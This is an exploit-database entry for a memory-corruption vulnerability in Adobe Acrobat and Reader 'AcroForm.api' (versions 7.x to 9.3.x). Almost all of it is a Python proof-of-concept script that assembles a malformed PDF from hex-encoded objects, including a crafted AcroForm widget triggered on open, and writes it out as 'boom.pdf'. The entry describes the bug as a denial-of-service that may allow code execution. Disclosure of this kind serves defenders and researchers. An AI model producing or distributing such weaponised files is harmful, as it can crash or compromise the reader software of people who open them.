Exploit Adobe Acrobat and Reader 9.3.4 - 'AcroForm.api' Memory Corruption

[Exploiter]

EDB-ID

34528

Проверка EDB

1. Пройдено

Автор

ITSECTEAM

Тип уязвимости

DOS

Платформа

MULTIPLE

CVE

N/A

Дата публикации

2010-08-25

Adobe Acrobat and Reader 9.3.4 - 'AcroForm.api' Memory Corruption

source: https://www.securityfocus.com/bid/42701/info

Adobe Acrobat and Reader are prone to a remote memory-corruption vulnerability.

Attackers can exploit this issue to execute arbitrary code or cause denial-of-service conditions.

#!user/bin/python

_doc_ = '''
-------------------------------------------------------------------------
title : Adobe Acrobat Reader memory coroption
Product: Adobe Acrobat Reader
Version: 7.x, 8.x, 9.x
Tested : 8.1 - 9.3.3
Product Homepage: www.adobe.com
Tested Os : Windows XP SP1/SP3 EN 
			  Windows Seven
AUTHOR  : ITSecTeam
Email   : [email protected]
Website : http://www.itsecteam.com
Forum   : http://forum.ITSecTeam.com
By      : Erfan Omidfar (black.hat) - Hoshang jafari (PLATEN)
--------------------------------------------------------------------------
'''
import sys


def main():
	buffer = "\x25\x50\x44\x46\x2d\x31\x2e\x37\x0d\x0a\x35\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x50\x61\x67\x65\x20\x2f\x50\x61\x72\x65\x6e\x74\x20\x31\x20\x30\x20\x52\x20\x2f\x4c\x61\x73\x74\x4d\x6f\x64\x69\x66\x69\x65\x64\x20\x28\x44\x3a\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x20\x30\x34\x27\x33\x30\x27\x29\x20\x2f\x52\x65\x73\x6f\x75\x72\x63\x65\x73\x20\x32\x20\x30\x20\x52\x20\x2f\x4d\x65\x64\x69\x61\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x43\x72\x6f\x70\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x42\x6c\x65\x65\x64\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x54\x72\x69\x6d\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x41\x72\x74\x42\x6f\x78\x20\x5b\x30\x2e\x30\x30\x20\x30\x2e\x30\x30\x20\x35\x39\x35\x2e\x32\x38\x20\x38\x34\x31\x2e\x38\x39\x5d\x20\x2f\x43\x6f\x6e\x74\x65\x6e\x74\x73\x20\x36\x20\x30\x20\x52\x20\x2f\x52\x6f\x74\x61\x74\x65\x20\x30\x20\x2f\x47\x72\x6f\x75\x70\x20\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x47\x72\x6f\x75\x70\x20\x2f\x53\x20\x2f\x54\x72\x61\x6e\x73\x70\x61\x72\x65\x6e\x63\x79\x20\x2f\x43\x53\x20\x2f\x44\x65\x76\x69\x63\x65\x52\x47\x42\x20\x3e\x3e\x20\x2f\x41\x6e\x6e\x6f\x74\x73\x20\x5b\x20\x33\x20\x30\x20\x52\x20\x34\x20\x30\x20\x52\x20\x5d\x20\x2f\x50\x5a\x20\x31\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x36\x20\x30\x20\x6f\x62\x6a"

	buffer += "\n<</Filter /FlateDecode /Length 276>> stream\n"
	buffer += "\x78\x9C\xBD\x53\x4D\x6B\xC2\x40\x10\xBD\xEF\xAF\x78\x47\x3D\x74\xB2\xB3\x71\x35\xB9\x1A\xA3\x20\x94\x6A\xBB\x37\xF5\xD2\x46\x03\x62\xB1\x86\xC2\xD2\x7F\xDF\x49\x4A\x24\x2D\x16\x92\x50\x7A\x98\x59\x76\xE6\xBD\x99\xDD\xF9\xD0\x64\x27\xF0\xD0\x58\x8A\x1C\xB1\xD9\xC9\x91\x89\x2C\x44\x72\x35\x75\x08\xE6\x0C\x36\xA4\x35\xDC\x01\xA9\x53\xBA\x2B\xE1\x72\xCB\x58\x99\x0C\xB8\x6D\xDC\x6B\x8C\xB6\x84\x0B\xB4\x40\xF5\x37\x5D\xE4\x90\x30\xC2\x2F\x2A\x83\x90\x53\x57\x5A\xD8\x18\xE2\x08\x51\x18\x13\x8B\x37\xC3\x66\x80\xE1\x0E\x6E\x59\xFA\xD7\x92\x28\xB2\x3F\x12\x95\xEC\xEC\x46\x86\xC7\x05\x6A\xB8\x69\x07\x2F\xDF\x5A\x43\x95\x89\x28\xB4\xF2\x0E\x4B\x23\xC6\x2B\xEC\x78\x4C\x71\x58\xDF\x4F\x78\xEA\x18\x5C\xA9\x75\x9F\x76\x05\x0F\x09\x44\x0C\xA6\xB3\xA4\x47\xDD\xB9\xCA\xDE\xD4\xBF\xD5\xDD\x50\x14\x0A"
	buffer += "\x84\xED\x57\xCD\x57\x67\xBF\x2F\xF6\x19\x9E\x3F\xE0\x92\xD5\x6C\x8E\xED\xC0\x7B\x4F\xEF\x2F\x6F\xD9\x81\xCE\x45\xBE\x1D\x36\x9A\x92\xDE\x27\xBD\xBE\xA7\xFE\x68\x80\xFF\x7B\x28\x2A\xF8\x75\x24\xAA\x5B\x8F\x81\xE8\xB2\x15\x56\x8F\x88\x63\xDC\x31\xD3\xA4\xDE\x0A\x0A"
	buffer += "\x46\x00\x6E\x74\xA1\x4F\x03\x3E\x01\x4B\xF1\xEE\x69\x0A\x0A"
	buffer += "\nendstream"

	buffer += "\n\x31\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x50\x61\x67\x65\x73\x20\x2f\x4b\x69\x64\x73\x20\x5b\x20\x35\x20\x30\x20\x52\x20\x5d\x20\x2f\x43\x6f\x75\x6e\x74\x20\x31\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a"

	buffer += "\n7 0 obj\n"
	buffer += "\x3C\x3C\x20\x2F\x54\x79\x70\x65\x20\x2F\x4F\x43\x47\x20\x2F\x4E\x61\x6D\x65\x20\x28\xFE\xFF\x00\x70\x00\x72\x00\x69\x00\x6E\x00\x74\x29\x20\x2F\x55\x73\x61\x67\x65\x20\x3C\x3C\20\x2F\x50\x72\x69\x6E\x74\x20\x3C\x3C\x2F\x50\x72\x69\x6E\x74\x53\x74\x61\x74\x65\x20\x2F\x4F\x4E\x3E\x3E\x20\x2F\x56\x69\x65\x77\x20\x3C\x3C\x2F\x56\x69\x65\x77\x53\x74\x61\x74\x65\x20\x2F\x4F\x46\x46\x3E\x3E\x20\x3E\x3E\x20\x3E\x3E\x0A"
	buffer += "\nendobj"
	buffer += "\n8 0 obj\n"
	buffer += "\x3C\x3C\x20\x2F\x54\x79\x70\x65\x20\x2F\x4F\x43\x47\x20\x2F\x4E\x61\x6D\x65\x20\x28\xFE\xFF\x00\x76\x00\x69\x00\x65\x00\x77\x29\x20\x2F\x55\x73\x61\x67\x65\x20\x3C\x3C\x20\x2F\x50\x72\x69\x6E\x74\x20\x3C\x3C\x2F\x50\x72\x69\x6E\x74\x53\x74\x61\x74\x65\x20\x2F\x4F\x46\x46\x3E\x3E\x20\x2F\x56\x69\x65\x77\x20\x3C\x3C\x2F\x56\x69\x65\x77\x53\x74\x61\x74\x65\x20\x2F\x4F\x4E\x3E\x3E\x20\x3E\x3E\x20\x3E\x3E\x0A"
	buffer += "\nendobj"

	buffer += "\n\x39\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x31\x20\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x2f\x57\x69\x6e\x41\x6e\x73\x69\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x31\x30\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x48\x65\x6c\x76\x65\x74\x69\x63\x61\x2d\x42\x6f\x6c\x64\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x32\x20\x2f\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x2f\x57\x69\x6e\x41\x6e\x73\x69\x45\x6e\x63\x6f\x64\x69\x6e\x67\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x31\x31\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x2f\x54\x79\x70\x65\x20\x2f\x46\x6f\x6e\x74\x20\x2f\x53\x75\x62\x74\x79\x70\x65\x20\x2f\x54\x79\x70\x65\x31\x20\x2f\x42\x61\x73\x65\x46\x6f\x6e\x74\x20\x2f\x5a\x61\x70\x66\x44\x69\x6e\x67\x62\x61\x74\x73\x20\x2f\x4e\x61\x6d\x65\x20\x2f\x46\x33\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x32\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x50\x72\x6f\x63\x53\x65\x74\x20\x5b\x2f\x50\x44\x46\x20\x2f\x54\x65\x78\x74\x20\x2f\x49\x6d\x61\x67\x65\x42\x20\x2f\x49\x6d\x61\x67\x65\x43\x20\x2f\x49\x6d\x61\x67\x65\x49\x5d\x20\x2f\x46\x6f\x6e\x74\x20\x3c\x3c\x20\x2f\x46\x31\x20\x39\x20\x30\x20\x52\x20\x2f\x46\x32\x20\x31\x30\x20\x30\x20\x52\x20\x2f\x46\x33\x20\x31\x31\x20\x30\x20\x52\x20\x3e\x3e\x20\x2f\x58\x4f\x62\x6a\x65\x63\x74\x20\x3c\x3c\x20\x3e\x3e\x20\x2f\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x20\x3c\x3c\x2f\x4f\x43\x31\x20\x37\x20\x30\x20\x52\x20\x2f\x4f\x43\x32\x20\x38\x20\x30\x20\x52\x3e\x3e\x20\x2f\x45\x78\x74\x47\x53\x74\x61\x74\x65\x20\x3c\x3c\x20\x3e\x3e\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a"
	buffer += "\n3 0 obj\n"
	buffer += "\x3C\x3C\x2F\x54\x79\x70\x65\x20\x2F\x41\x6E\x6E\x6F\x74\x20\x2F\x53\x75\x62\x74\x79\x70\x65\x20\x2F\x57\x69\x64\x67\x65\x74\x20\x2F\x52\x65\x63\x74\x20\x5B\x30\x2E\x30\x30\x20\x38\x33\x39\x2E\x30\x36\x20\x30\x2E\x30\x30\x20\x38\x33\x39\x2E\x30\x36\x5D\x20\x2F\x46\x54\x20\x2F\x42\x74\x6E\x20\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x28\xFE\xFF\x00\x31\x29\x20\x2F\x50\x20\x35\x20\x30\x20\x52\x20\x2F\x4E\x4D\x20\x28\x30\x30\x30\x31\x2D\x30\x30\x30\x30\x29\x20\x2F\x4D\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x41\x53\x20\x2F\x59\x65\x73\x20\x2F\x42\x6F\x72\x64\x65\x72\x20\x5B\x30\x20\x30\x20\x30\x5D\x20\x2F\x56\x20\x2F\x30\x20\x2F\x4F\x70\x74\x20\x5B\x20\x28\xFE\xFF\x29\x5D\x3E\x3E\x0A"
	buffer += "\nendobj"
	buffer += "\n4 0 obj\n"
	buffer += "\x3C\x3C\x2F\x54\x79\x70\x65\x20\x2F\x41\x6E\x6E\x6F\x74\x20\x2F\x53\x75\x62\x74\x79\x70\x65\x20\x2F\x4C\x69\x6E\x6B\x20\x2F\x52\x65\x63\x74\x20\x5B\x32\x2E\x38\x33\x20\x30\x2E\x38\x34\x20\x31\x39\x2E\x30\x30\x20\x31\x2E\x38\x34\x5D\x20\x2F\x43\x6F\x6E\x74\x65\x6E\x74\x73\x20\x28\xFE\xFF\x00\x68\x00\x74\x00\x74\x00\x70\x00\x3A\x00\x2F\x00\x2F\x00\x77\x00\x77\x00\x77\x00\x2E\x00\x74\x00\x63\x00\x70\x00\x64\x00\x66\x00\x2E\x00\x6F\x00\x72\x00\x67\x29\x20\x2F\x50\x20\x35\x20\x30\x20\x52\x20\x2F\x4E\x4D\x20\x28\x30\x30\x30\x31\x2D\x30\x30\x30\x31\x29\x20\x2F\x4D\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x42\x6F\x72\x64\x65\x72\x20\x5B\x30\x20\x30\x20\x30\x5D\x20\x2F\x41\x20\x3C\x3C\x2F\x53\x20\x2F\x55\x52\x49\x20\x2F\x55\x52\x49\x20\x28\x68\x74\x74\x70\x3A\x2F\x2F\x77\x77\x77\x2E\x74\x63\x70\x64\x66\x2E\x6F\x72\x67\x29\x3E\x3E\x20\x2F\x48\x20\x2F\x49\x3E\x3E\x0A"
	buffer += "\nendobj"
	buffer += "\n12 0 obj\n"
	buffer += "\x3C\x3C\x20\x2F\x50\x72\x6F\x64\x75\x63\x65\x72\x20\x28\xFE\xFF\x00\x54\x00\x43\x00\x50\x00\x44\x00\x46\x00\x20\x00\x35\x00\x2E\x00\x37\x00\x2E\x00\x30\x00\x30\x00\x32\x00\x20\x00\x5C\x28\x00\x68\x00\x74\x00\x74\x00\x70\x00\x3A\x00\x2F\x00\x2F\x00\x77\x00\x77\x00\x77\x00\x2E\x00\x74\x00\x63\x00\x70\x00\x64\x00\x66\x00\x2E\x00\x6F\x00\x72\x00\x67\x00\x5C\x29\x00\x20\x00\x5C\x28\x00\x54\x00\x43\x00\x50\x00\x44\x00\x46\x00\x5C\x29\x29\x20\x2F\x43\x72\x65\x61\x74\x69\x6F\x6E\x44\x61\x74\x65\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x4D\x6F\x64\x44\x61\x74\x65\x20\x28\x44\x3A\x32\x30\x31\x30\x30\x38\x31\x32\x31\x31\x34\x35\x31\x31\x2B\x30\x34\x27\x33\x30\x27\x29\x20\x2F\x54\x72\x61\x70\x70\x65\x64\x20\x2F\x46\x61\x6C\x73\x65\x20\x3E\x3E\x0A"
	buffer += "\nendobj"
	buffer += "\n\x31\x33\x20\x30\x20\x6f\x62\x6a\x0d\x0a\x3c\x3c\x20\x2f\x54\x79\x70\x65\x20\x2f\x43\x61\x74\x61\x6c\x6f\x67\x20\x2f\x50\x61\x67\x65\x73\x20\x31\x20\x30\x20\x52\x20\x2f\x4f\x70\x65\x6e\x41\x63\x74\x69\x6f\x6e\x20\x5b\x33\x20\x30\x20\x52\x20\x2f\x46\x69\x74\x48\x20\x6e\x75\x6c\x6c\x5d\x20\x2f\x50\x61\x67\x65\x4c\x61\x79\x6f\x75\x74\x20\x2f\x53\x69\x6e\x67\x6c\x65\x50\x61\x67\x65\x20\x2f\x50\x61\x67\x65\x4d\x6f\x64\x65\x20\x2f\x55\x73\x65\x4e\x6f\x6e\x65\x20\x2f\x4e\x61\x6d\x65\x73\x20\x3c\x3c\x20\x3e\x3e\x20\x2f\x56\x69\x65\x77\x65\x72\x50\x72\x65\x66\x65\x72\x65\x6e\x63\x65\x73\x20\x3c\x3c\x20\x2f\x44\x69\x72\x65\x63\x74\x69\x6f\x6e\x20\x2f\x4c\x32\x52\x20\x3e\x3e\x20\x2f\x4f\x43\x50\x72\x6f\x70\x65\x72\x74\x69\x65\x73\x20\x3c\x3c\x20\x2f\x4f\x43\x47\x73\x20\x5b\x37\x20\x30\x20\x52\x20\x38\x20\x30\x20\x52\x5d\x20\x2f\x44\x20\x3c\x3c\x20\x2f\x4f\x4e\x20\x5b\x37\x20\x30\x20\x52\x5d\x20\x2f\x4f\x46\x46\x20\x5b\x38\x20\x30\x20\x52\x5d\x20\x2f\x41\x53\x20\x5b\x3c\x3c\x20\x2f\x45\x76\x65\x6e\x74\x20\x2f\x50\x72\x69\x6e\x74\x20\x2f\x4f\x43\x47\x73\x20\x5b\x37\x20\x30\x20\x52\x20\x38\x20\x30\x20\x52\x5d\x20\x2f\x43\x61\x74\x65\x67\x6f\x72\x79\x20\x5b\x2f\x50\x72\x69\x6e\x74\x5d\x20\x3e\x3e\x20\x3c\x3c\x20\x2f\x45\x76\x65\x6e\x74\x20\x2f\x56\x69\x65\x77\x20\x2f\x4f\x43\x47\x73\x20\x5b\x37\x20\x30\x20\x52\x20\x38\x20\x30\x20\x52\x5d\x20\x2f\x43\x61\x74\x65\x67\x6f\x72\x79\x20\x5b\x2f\x56\x69\x65\x77\x5d\x20\x3e\x3e\x5d\x20\x3e\x3e\x20\x3e\x3e\x20\x2f\x41\x63\x72\x6f\x46\x6f\x72\x6d\x20\x3c\x3c\x20\x2f\x46\x69\x65\x6c\x64\x73\x20\x5b\x20\x33\x20\x30\x20\x52\x5d\x20\x2f\x4e\x65\x65\x64\x41\x70\x70\x65\x61\x72\x61\x6e\x63\x65\x73\x20\x74\x72\x75\x65\x20\x2f\x44\x52\x20\x3c\x3c\x20\x2f\x46\x6f\x6e\x74\x20\x3c\x3c\x20\x2f\x46\x33\x20\x31\x31\x20\x30\x20\x52\x20\x2f\x46\x31\x20\x39\x20\x30\x20\x52\x20\x3e\x3e\x20\x3e\x3e\x20\x2f\x44\x41\x20\x28\x2f\x46\x31\x20\x30\x20\x54\x66\x20\x30\x20\x67\x29\x20\x2f\x51\x20\x30\x20\x3e\x3e\x20\x3e\x3e\x0d\x0a\x65\x6e\x64\x6f\x62\x6a\x0d\x0a\x78\x72\x65\x66\x0d\x0a\x30\x20\x31\x34\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x30\x30\x30\x20\x36\x35\x35\x33\x35\x20\x66\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x37\x34\x39\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x33\x34\x35\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x35\x32\x36\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x37\x33\x31\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x30\x30\x39\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x34\x30\x33\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x38\x30\x38\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x30\x39\x32\x37\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x30\x34\x34\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x31\x35\x30\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x32\x36\x32\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x31\x39\x38\x31\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x30\x30\x30\x30\x30\x30\x32\x32\x30\x31\x20\x30\x30\x30\x30\x30\x20\x6e\x20\x0d\x0a\x74\x72\x61\x69\x6c\x65\x72\x20\x3c\x3c\x20\x2f\x53\x69\x7a\x65\x20\x31\x34\x20\x2f\x52\x6f\x6f\x74\x20\x31\x33\x20\x30\x20\x52\x20\x2f\x49\x6e\x66\x6f\x20\x31\x32\x20\x30\x20\x52\x20\x2f\x49\x44\x20\x5b\x20\x3c\x64\x64\x39\x39\x65\x39\x39\x36\x30\x64\x64\x37\x66\x64\x63\x33\x37\x34\x34\x30\x65\x38\x36\x63\x62\x39\x36\x30\x30\x65\x38\x32\x3e\x20\x3c\x64\x64\x39\x39\x65\x39\x39\x36\x30\x64\x64\x37\x66\x64\x63\x33\x37\x34\x34\x30\x65\x38\x36\x63\x62\x39\x36\x30\x30\x65\x38\x32\x3e\x20\x5d\x20\x3e\x3e\x0d\x0a\x73\x74\x61\x72\x74\x78\x72\x65\x66\x0d\x0a\x32\x36\x39\x37\x0d\x0a\x25\x25\x45\x4f\x46"
	try:
		print "[+] Creating POC file.."
		exploit = open('boom.pdf','w');
		exploit.write(buffer);
		exploit.close();
		print "[+] POC file created!"
	except:
		print "[-] Error: try again"
		sys.exit(0)
	
if __name__=="__main__":
	print _doc_
	main()